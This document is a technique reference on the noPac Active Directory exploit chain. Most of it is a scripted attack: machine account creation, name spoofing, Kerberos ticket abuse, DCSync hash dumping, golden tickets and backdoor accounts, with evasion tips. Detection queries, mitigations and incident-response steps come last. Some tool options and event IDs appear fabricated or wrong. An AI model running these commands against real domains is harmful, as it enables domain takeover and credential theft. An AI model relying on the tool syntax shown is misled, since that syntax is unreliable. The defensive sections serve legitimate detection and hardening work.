| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-002 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation |
| Platforms | Windows AD (All Domain Environments) |
| Severity | CRITICAL |
| CVE | CVE-2021-42287, CVE-2021-42278 |
| Technique Status | PATCHED (November 9, 2021 + November 14 OOB Update) |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2008 R2 - 2019 (pre-patch) |
| Patched In | Windows Server 2016 KB5007247, 2019 KB5007251, 2022 KB5007293 |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The noPac vulnerability chain combines two critical flaws (CVE-2021-42278 and CVE-2021-42287) with the default Active Directory setting that allows any authenticated domain user to create up to 10 computer accounts (ms-DS-MachineAccountQuota=10). An attacker exploits this by:
sAMAccountName of the computer to match a Domain Administrator or Domain Controller name (CVE-2021-42278).Attack Surface: Kerberos authentication, Service Account Name spoofing, Machine account creation, Ticket-Granting Ticket (TGT) manipulation.
Business Impact: Full domain compromise in minutes. Any authenticated domain user (including contractors, temporary employees, or compromised low-privilege accounts) can become a Domain Administrator without any additional privilege or group membership.
Technical Context: This attack takes approximately 5-15 minutes to execute from a compromised low-privilege account to Domain Admin. It generates moderate audit trail (machine account creation, Kerberos ticket requests) but is often missed by SOCs without specific noPac detection rules. The vulnerability affects all unpatched Active Directory environments regardless of other security controls.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3, 5.2.4 | User Account Control and machine account creation limits |
| DISA STIG | V-220938, V-220941 | Audit Kerberos authentication; restrict machine account creation |
| CISA SCuBA | AC-2, AC-4 | Account Management; Access Control |
| NIST 800-53 | AC-2, AC-6 | Account Management; Least Privilege |
| GDPR | Art. 32 | Security of Processing (authentication integrity) |
| DORA | Art. 18 | ICT-related incident management |
| NIS2 | Art. 21 | Cyber risk management measures (authentication) |
| ISO 27001 | A.9.1.1, A.9.2.1 | Access control policy; User registration and de-registration |
| ISO 27005 | Section 8.2 | Risk assessment (authentication bypass scenarios) |
Required Privileges:
ms-DS-MachineAccountQuota=10).Required Access:
Supported Versions:
Tools:
Objective: Confirm that the domain allows authenticated users to create computer accounts (vulnerability precondition).
PowerShell Command:
# Check the Machine Account Quota (ms-DS-MachineAccountQuota) value
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
# Expected output if quota is enabled:
# ms-DS-MachineAccountQuota : 10
Linux/Bash Command (via LDAP):
# Query using ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
-D "domain\user" -w "password" "ms-DS-MachineAccountQuota"
# Or via crackmapexec
crackmapexec ldap dc01.domain.local -u domain\\user -p password -M maq
What to Look For:
ms-DS-MachineAccountQuota = 10 (or any value > 0): Vulnerability is exploitable.ms-DS-MachineAccountQuota = 0: Mitigation is in place; attack will fail at machine creation stage.Expected Output (Success):
ms-DS-MachineAccountQuota : 10
DistinguishedName : CN=Domain,CN=Partitions,CN=Configuration,DC=domain,DC=local
ObjectClass : domainDNS
Objective: Discover the exact sAMAccountName of the Domain Administrator account (needed for spoofing).
PowerShell Command:
# List all Domain Admin group members
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object SamAccountName, Name
# Or specifically identify the Administrator account
Get-ADUser -Filter "SamAccountName -like 'Administrator'" -Properties SamAccountName, ObjectSID |
Select-Object SamAccountName, ObjectSID
Expected Output:
SamAccountName ObjectSID
-------------- ---------
Administrator S-1-5-21-[domain]-500
DomainAdminUser S-1-5-21-[domain]-1001
What to Look For:
Administrator account (RID 500).Objective: Identify the exact computer name (sAMAccountName) of the Domain Controller (alternative target).
PowerShell Command:
# List all domain controllers and their computer names
Get-ADComputer -Filter "UserAccountControl -band 8192" -Properties Name, SamAccountName |
Select-Object Name, SamAccountName
# Format: SamAccountName includes trailing "$"
# Example: "DC01$"
Linux/Bash Command:
# Query DC computer accounts via LDAP
ldapsearch -x -H ldap://dc01.domain.local -b "CN=Domain Controllers,DC=domain,DC=local" \
-D "domain\user" -w "password" sAMAccountName
Expected Output:
Name SamAccountName
---- ---------------
DC01 DC01$
DC02 DC02$
DC03 DC03$
What to Look For:
Objective: Verify that the compromised user account can request Kerberos tickets (prerequisite for exploitation).
PowerShell Command (Windows):
# Import Kerberos module and test TGT request
Add-Type -AssemblyName System.IdentityModel
# Attempt to get TGT for current user
$credential = New-Object System.Net.NetworkCredential("domain\user", "password")
$context = New-Object System.IdentityModel.Tokens.KerberosSecurityTokenProvider($credential.UserName)
$context.GetToken([TimeSpan]::MaxValue)
# If successful, returns TGT; if denied, throws authentication error
Linux/Bash Command:
# Use kinit to request a TGT
kinit domain\\user@DOMAIN.LOCAL
# Enter password when prompted
# Verify TGT was obtained
klist
# Expected output:
# Ticket cache: FILE:/tmp/krb5cc_0
# Default principal: user@DOMAIN.LOCAL
# Valid starting: [timestamp]
What to Look For:
Supported Versions: Windows Server 2008 R2 - 2019 (pre-November 2021 patch)
Preconditions:
Objective: Verify the environment is vulnerable before attempting exploitation.
Command:
# Clone noPac repository
git clone https://github.com/cube0x0/noPac.git
cd noPac
# Install dependencies
pip3 install -r requirements.txt
# or manually: pip3 install impacket pycryptodome
# Run vulnerability scan
python3 noPac.py -action scan -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password
# Expected output:
# [*] Scanning for noPac vulnerability...
# [*] Checking Machine Account Quota...
# [+] ms-DS-MachineAccountQuota = 10 (VULNERABLE)
# [*] Checking Kerberos PAC validation...
# [+] PAC validation NOT hardened (VULNERABLE)
# [!] Domain is VULNERABLE to noPac exploitation
Command Parameters:
-action scan - Scan for vulnerability (does not exploit)-domain domain.local - Target domain FQDN-dc-ip 192.168.1.10 - Domain Controller IP address-u domain\\user - Compromised user credentials-p password - User passwordWhat This Means:
OpSec & Evasion:
Objective: Create a new machine account with an empty Service Principal Name (SPN).
Command:
# Step 2A: Create the machine account
python3 noPac.py -action create -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password -computer-name FAKE01 -computer-pass FakeP@ss123
# Expected output:
# [+] Creating computer account: FAKE01$
# [+] Computer account created successfully
# [+] Computer password: FakeP@ss123
# [+] Computer SID: S-1-5-21-[domain]-[rid]
# Step 2B: Clear the SPN to avoid detection
python3 noPac.py -action clear-spn -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password -computer-name FAKE01
# Expected output:
# [+] Clearing SPN for FAKE01$
# [+] SPN cleared successfully
What This Means:
FAKE01$ has been created in Active Directory.sAMAccountName spoofing in the next step.Troubleshooting:
Get-ADComputer -Filter { msDS-CreatorSID -eq $userSID } to identify owned machines; delete unused ones.OpSec & Evasion:
Objective: Change the computer’s sAMAccountName from FAKE01$ to Administrator (or DC name), exploiting CVE-2021-42278.
Command:
# Spoof sAMAccountName to match Domain Administrator
python3 noPac.py -action spoof -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password -computer-name FAKE01 -spoof-name Administrator
# Expected output:
# [+] Spoofing sAMAccountName from FAKE01$ to Administrator$
# [*] Exploit CVE-2021-42278 (SAM Name Spoofing)
# [+] sAMAccountName changed successfully
# [!] WARNING: Computer account now impersonates Administrator account!
# [!] Restore original name after exploitation to avoid detection
# Verify the spoof was successful (optional)
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
-D "domain\user" -w "password" "sAMAccountName=Administrator*"
# Should now show TWO results:
# 1. CN=Administrator (user account)
# 2. CN=FAKE01 with sAMAccountName=Administrator$ (spoofed computer)
What This Means:
Troubleshooting:
OpSec & Evasion:
Objective: Request a Ticket-Granting Ticket (TGT) using the spoofed computer account credentials.
Command:
# Use Impacket's GetUserSPN or noPac to request TGT
python3 noPac.py -action request-tgt -domain domain.local -dc-ip 192.168.1.10 \
-computer-name FAKE01 -computer-pass FakeP@ss123
# Alternative: Use Impacket getTGT
getTGT.py domain.local/FAKE01\$:FakeP@ss123 -dc-ip 192.168.1.10
# Expected output:
# [+] Requesting TGT for domain/FAKE01$
# [+] TGT obtained successfully
# [+] Ticket saved to: FAKE01.ccache
# [+] Ticket lifetime: 10:00:00
What This Means:
.ccache format for Linux/Unix).Troubleshooting:
OpSec & Evasion:
Objective: Quickly rename the computer account back to FAKE01 to avoid detection when KDC queries the account.
Command:
# Restore original sAMAccountName BEFORE requesting service ticket
# This is critical to avoid the DC checking and finding multiple Admin accounts
python3 noPac.py -action restore -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password -computer-name FAKE01 -restore-name FAKE01
# Expected output:
# [+] Restoring sAMAccountName from Administrator$ to FAKE01$
# [+] sAMAccountName restored successfully
# [!] Computer account now back to original name
# [!] KDC will perform fallback lookup when name not found later
What This Means:
OpSec & Evasion:
Objective: Request a service ticket as a Domain Administrator using S4U2Self Kerberos extension, exploiting CVE-2021-42287.
Command:
# Use Rubeus (Windows) or Impacket (Linux) to request service ticket via S4U2Self
# S4U2Self allows a service to request a ticket for itself on behalf of a user
# Option 1: Using noPac directly
python3 noPac.py -action s4u2self -domain domain.local -dc-ip 192.168.1.10 \
-computer-name FAKE01 -impersonate Administrator
# Expected output:
# [+] Requesting S4U2Self ticket
# [+] Impersonating: Administrator
# [+] Service: krbtgt/domain.local
# [*] Exploit CVE-2021-42287 (PAC Validation Bypass)
# [+] Service ticket obtained: Administrator@krbtgt/domain.local
# [+] Ticket saved to: Administrator.ccache
# Option 2: Using Rubeus (on Windows)
Rubeus.exe s4u /user:FAKE01$ /password:FakeP@ss123 \
/impersonateuser:Administrator /domain:domain.local \
/dc:dc01.domain.local /mktgt
# Expected output (Rubeus):
# [*] Requesting S4U2Self service ticket
# [+] TGT obtained
# [+] Service ticket for Administrator obtained
# [*] Saving ticket to: Administrator.kirbi
Command Parameters:
-computer-name FAKE01 - Spoofed computer (now restored to original name)-impersonate Administrator - User to impersonate (Domain Admin)-domain domain.local - Target domain-dc-ip 192.168.1.10 - Domain Controller IPWhat This Means:
Troubleshooting:
-nopac flag if available.OpSec & Evasion:
Objective: Leverage the Administrator service ticket to gain Domain Admin privileges.
Command:
# Use the obtained service ticket to access domain resources as Administrator
# Option 1: Pass-the-Ticket to DCSync
export KRB5CCNAME=Administrator.ccache
# Perform DCSync to dump all password hashes
secretsdump.py -k -no-pass domain.local/Administrator@dc01.domain.local
# Expected output:
# [*] Kerberos authentication using saved ticket
# [+] Using ticket: Administrator@krbtgt/domain.local
# [*] Dumping domain password hashes...
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Option 2: Use for PSExec shell
psexec.py -k -no-pass domain.local/Administrator@dc01.domain.local
# Or obtain a Golden Ticket / Kerberos TGT
ticketer.py -nthash [admin_hash] -domain-sid [domain-sid] \
-domain domain.local Administrator
# Create TGT valid for 10 years of access
What This Means:
Post-Exploitation Actions:
backdoor$ with no password expiry).Supported Versions: Windows Server 2008 R2 - 2019 (pre-patch)
Preconditions:
Objective: Create a new machine account using the compromised user’s quota.
PowerShell Command:
# Import Active Directory module
Import-Module ActiveDirectory
# Define machine account details
$computerName = "FAKE01"
$computerPassword = "FakeP@ss123"
# Create computer account
$computer = New-ADComputer -Name $computerName `
-SAMAccountName "$computerName`$" `
-Description "Test Computer" `
-Path "CN=Computers,DC=domain,DC=local" `
-PassThru
# Set password for the computer
Set-ADAccountPassword -Identity $computer -Reset `
-NewPassword (ConvertTo-SecureString -AsPlainText $computerPassword -Force)
# Enable the account
Enable-ADAccount -Identity $computer
# Verify creation
Get-ADComputer -Identity $computerName | Select-Object Name, SamAccountName, Enabled
# Expected output:
# Name SamAccountName Enabled
# ---- -------------- -------
# FAKE01 FAKE01$ True
What This Means:
OpSec & Evasion:
Objective: Remove SPN and modify sAMAccountName to match Administrator.
PowerShell Command:
# Step 2A: Clear Service Principal Names (SPN)
$computer = Get-ADComputer -Identity "FAKE01"
$computerDN = $computer.DistinguishedName
# Get current SPNs
Get-ADObject -Identity $computerDN -Properties servicePrincipalName |
Select-Object -ExpandProperty servicePrincipalName
# Remove all SPNs
Set-ADComputer -Identity "FAKE01" -ServicePrincipalNames @()
# Verify SPNs are cleared
Get-ADComputer -Identity "FAKE01" -Properties servicePrincipalName |
Select-Object -ExpandProperty servicePrincipalName
# Should return: (empty)
# Step 2B: Spoof sAMAccountName
# WARNING: This must be done via ADSI (not regular AD PowerShell for direct modification)
$computerDN = (Get-ADComputer -Identity "FAKE01").DistinguishedName
$adsiComputer = [ADSI]"LDAP://$computerDN"
# Change sAMAccountName to Administrator
$adsiComputer.Put("sAMAccountName", "Administrator")
$adsiComputer.SetInfo()
# Verify spoofing
Get-ADComputer -Filter "DistinguishedName -eq '$computerDN'" |
Select-Object SamAccountName
# Expected output (should now show):
# SamAccountName
# ---------------
# Administrator$ (or Administrator if $ is stripped)
Troubleshooting:
OpSec & Evasion:
Objective: Obtain a Kerberos TGT for the spoofed computer account.
PowerShell Command (via Mimikatz):
# Download or load Mimikatz into memory
# Method 1: Use Rubeus (native .NET, easier on Windows)
# Download Rubeus
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.9/Rubeus.exe" `
-OutFile "C:\Temp\Rubeus.exe"
# Request TGT for FAKE01$ (now spoofed as Administrator)
C:\Temp\Rubeus.exe asktgt /user:FAKE01$ /password:FakeP@ss123 `
/domain:domain.local /dc:dc01.domain.local /outfile:Administrator.kirbi
# Expected output:
# [*] Action: Ask TGT
# [*] Using domain controller: dc01.domain.local
# [+] Ticket written to: Administrator.kirbi
What This Means:
Objective: Rename computer back to FAKE01 to trigger the KDC fallback.
PowerShell Command:
# Quickly restore the original sAMAccountName
$computerDN = (Get-ADComputer -Filter "SamAccountName -eq 'Administrator`$'").DistinguishedName
$adsiComputer = [ADSI]"LDAP://$computerDN"
# Restore to FAKE01
$adsiComputer.Put("sAMAccountName", "FAKE01")
$adsiComputer.SetInfo()
# Verify
Get-ADComputer -Filter "DistinguishedName -eq '$computerDN'" |
Select-Object SamAccountName
# Should show: FAKE01$
OpSec & Evasion:
Objective: Use Rubeus to request service ticket via S4U2Self, exploiting CVE-2021-42287.
PowerShell Command:
# Use the saved TGT to request S4U2Self
C:\Temp\Rubeus.exe s4u /ticket:Administrator.kirbi `
/impersonateuser:Administrator /domain:domain.local `
/dc:dc01.domain.local /outfile:AdminServiceTicket.kirbi
# Expected output:
# [*] Action: S4U2Self
# [*] Using TGT: Administrator.kirbi
# [+] S4U2Self service ticket obtained for Administrator
# [+] Ticket written to: AdminServiceTicket.kirbi
# Inject into current session
C:\Temp\Rubeus.exe ptt /ticket:AdminServiceTicket.kirbi
# Expected output:
# [*] Action: Pass-the-Ticket
# [+] Ticket injected into current process
What This Means:
Objective: Extract password hashes using the obtained Domain Admin privileges.
PowerShell Command:
# Use Mimikatz to perform DCSync
# Assumes Mimikatz is in memory or accessible
# Option 1: Via Mimikatz command
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator /history
# Option 2: Via Impacket (if available on Windows via WSL or similar)
# secretsdump.py -k domain.local/Administrator@dc01.domain.local
# Expected output (Mimikatz):
# [DC] 'domain.local' will be the domain
# [DC] 'dc01.domain.local' will be the DC server
# [DC] 'Administrator' will be used as account
# Object RDN : Administrator
# ** SAM ACCOUNT **
# Administrator RID : 500
# hash NTLM: 209c6174da490caeb422f3fa5a7ae634
# ...
Post-Exploitation:
Version: 1.0+
Minimum Version: 1.0
Supported Platforms: Linux, MacOS, Windows (Python 3.6+)
Installation:
git clone https://github.com/cube0x0/noPac.git
cd noPac
pip3 install -r requirements.txt
Usage:
python3 noPac.py -action scan -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password
python3 noPac.py -action exploit -domain domain.local -dc-ip 192.168.1.10 \
-u domain\\user -p password
Relevant Tools: getTGT.py, getST.py, secretsdump.py, ticketer.py
Installation:
pip3 install impacket
Usage:
# Request TGT
getTGT.py domain.local/user:password -dc-ip 192.168.1.10
# Request service ticket
getST.py -k -no-pass domain.local/user@dc01.domain.local
# DCSync
secretsdump.py -k -no-pass domain.local/user@dc01.domain.local
Version: 1.6.9+
Supported Platforms: Windows (.NET)
Installation:
# Download from GitHub releases
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.9/Rubeus.exe" `
-OutFile "C:\Temp\Rubeus.exe"
Usage:
Rubeus.exe asktgt /user:FAKE01$ /password:FakeP@ss123 /domain:domain.local /dc:dc01.domain.local
Rubeus.exe s4u /ticket:Administrator.kirbi /impersonateuser:Administrator /domain:domain.local
Rubeus.exe ptt /ticket:AdminServiceTicket.kirbi
Version: 2.2.0+
Supported Platforms: Windows
Usage (DCSync):
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
KQL Query:
SecurityEvent
| where EventID == 4720 // Computer account created
| join (
SecurityEvent
| where EventID == 5136 // sAMAccountName modified
| where TargetUserName contains "$"
) on Computer, Account
| where TimeGenerated - todatetime(AdditionalInfo) < 2m // Within 2 minutes
| project TimeGenerated, Computer, Account, EventID
KQL Query:
SecurityEvent
| where EventID == 4769 // Service ticket request
| where ServiceName contains "$" // Service account
| where ImpersonatingLevel == "Delegation"
| summarize Count=count() by Account, ServiceName, SourceComputerName
| where Count > 5 // Multiple requests in timeframe
KQL Query:
AuditLogs
| where OperationName == "Update domain" or OperationName contains "sAMAccountName"
| where Result == "Success"
| where Identity contains "$" // Computer account modification
| project TimeGenerated, OperationName, Identity, InitiatedBy
| Event ID | Source | Description | Severity |
|---|---|---|---|
| 4720 | Security | Computer account created | MEDIUM |
| 5136 | Security | Directory Service Object Modified (sAMAccountName) | HIGH |
| 4768 | Security | Kerberos TGT requested | LOW (baseline) |
| 4769 | Security | Kerberos service ticket requested | LOW (baseline) |
| 4742 | Security | Computer account changed | MEDIUM |
# Detect noPac exploitation pattern
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
StartTime = (Get-Date).AddHours(-2)
} | Where-Object {
# Event 4720 (computer created) + Event 5136 (sAMAccountName modified) + Event 4768 (TGT requested)
($_.EventID -in 4720, 5136, 4768) -and
$_.Properties[0] -match "FAKE|TEMP|TEST" # Common names used
} | Group-Object -Property { $_.Properties[0] } |
Where-Object { $_.Count -ge 3 } |
ForEach-Object {
Write-Host "ALERT: Possible noPac exploitation detected for: $($_.Name)"
}
Sysmon Event ID 1 (Process Creation):
<Rule groupRelation="or">
<ProcessCreate onmatch="all">
<CommandLine condition="contains any">
noPac; getTGT; getST; secretsdump; Rubeus s4u; ticket; asktgt
</CommandLine>
<ParentImage condition="contains">python; cmd; powershell</ParentImage>
</ProcessCreate>
</Rule>
Objective: Set ms-DS-MachineAccountQuota to 0, preventing all non-admin users from creating computer accounts.
PowerShell (Immediate):
# Change quota to 0 (disable machine account creation for regular users)
Set-ADDomain -Identity (Get-ADDomain).DistinguishedName `
-Replace @{"ms-DS-MachineAccountQuota" = "0"}
# Verify change
Get-ADObject -Identity (Get-ADDomain).DistinguishedName `
-Properties ms-DS-MachineAccountQuota | Select-Object ms-DS-MachineAccountQuota
# Expected output:
# ms-DS-MachineAccountQuota
# -------------------------
# 0
GUI Method (ADUC):
ms-DS-MachineAccountQuota → Set value to 0.Impact:
Objective: Install patches for CVE-2021-42278 and CVE-2021-42287.
Patch List:
Installation via Windows Update:
Verification:
# Check if patch is installed
Get-HotFix -Id KB5007251 | Select-Object HotFixID, InstalledOn
Impact:
Objective: Enable strict Kerberos validation and audit settings.
Group Policy (on Domain Controllers):
Objective: Detect when multiple objects have similar SAM names.
PowerShell Monitoring Script:
# Check for sAMAccountName conflicts or duplicates
$domain = (Get-ADDomain).DistinguishedName
# Find all objects with Admin-like names
Get-ADObject -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -like "*admin*" -or $_.sAMAccountName -like "*admin$" } |
Select-Object Name, sAMAccountName, ObjectClass |
Group-Object -Property sAMAccountName |
Where-Object { $_.Count -gt 1 } |
ForEach-Object {
Write-Host "WARNING: Multiple objects with sAMAccountName: $($_.Name)" -ForegroundColor Yellow
}
Objective: Periodically audit and delete test or suspicious computer accounts created by regular users.
PowerShell Script:
# Find computer accounts created by non-admin users
$domain = (Get-ADDomain).DistinguishedName
$adminSID = (Get-ADUser -Identity "Administrator").SID
Get-ADComputer -Filter * -Properties msDS-CreatorSID, Created |
Where-Object {
$_."msDS-CreatorSID" -ne $adminSID -and
$_.Created -gt (Get-Date).AddDays(-30)
} |
Select-Object Name, "msDS-CreatorSID", Created |
Format-Table
# Delete suspicious accounts (after review)
# Remove-ADComputer -Identity "FAKE01" -Confirm
Objective: Implement MFA for Domain Admin accounts to prevent compromise via ticket forgery.
Azure AD (Cloud-based):
On-Premises:
Step 1: Immediate Containment (First 30 minutes)
# 1. Identify the compromised user account
Get-ADComputer -Filter "Creator -eq '*'" -Properties msDS-CreatorSID |
Where-Object { $_.Created -gt (Get-Date).AddHours(-1) }
# 2. Disable the compromised user account
Disable-ADAccount -Identity "compromised_user"
# 3. Revoke all Kerberos tickets (force re-authentication)
# This invalidates all tickets issued for this user
# Typically done by resetting the krbtgt password twice
# 4. Delete suspicious computer accounts
Get-ADComputer -Filter "Created -gt '$((Get-Date).AddHours(-1))'" |
Remove-ADComputer -Confirm:$false
Step 2: Evidence Collection (Hour 1-2)
# Collect noPac-specific evidence
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4720, 5136, 4768, 4769
StartTime = (Get-Date).AddHours(-24)
} | Export-Csv -Path "C:\Incident\noPac_Events.csv" -NoTypeInformation
# Export all computer accounts created in past 24 hours
Get-ADComputer -Filter "Created -gt '$((Get-Date).AddDays(-1))'" `
-Properties Created, msDS-CreatorSID |
Export-Csv -Path "C:\Incident\NewComputerAccounts.csv" -NoTypeInformation
Step 3: Root Cause Analysis (Hour 2-6)
Step 4: Remediation (Hour 6+)
Step 5: Prevention & Hardening
Prerequisites: Valid domain user credentials (compromised via phishing, credential spray, insider threat).
Exploitation:
Post-Exploitation:
Scenario: Large healthcare organization with hybrid AD/Azure.
Attack Timeline:
Detection & Response:
Scenario: Organization applies November 2021 patches to 3 DCs but misses 1 DC due to maintenance window.
Attack Timeline:
Lesson: All Domain Controllers must be patched simultaneously. One unpatched DC = full forest compromise risk.
| Artifact | Location | Indicates |
|---|---|---|
| Computer account creation events | Event ID 4720 | noPac Stage 1 |
| sAMAccountName modifications | Event ID 5136 | noPac Stage 2-3 |
| Kerberos TGT requests | Event ID 4768 | noPac Stage 4 |
| S4U2Self requests | Event ID 4769 | noPac Stage 6 |
| File creation times | C:\Windows\Temp |
Tool staging |
| PowerShell execution history | C:\Users\...\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline |
Command execution |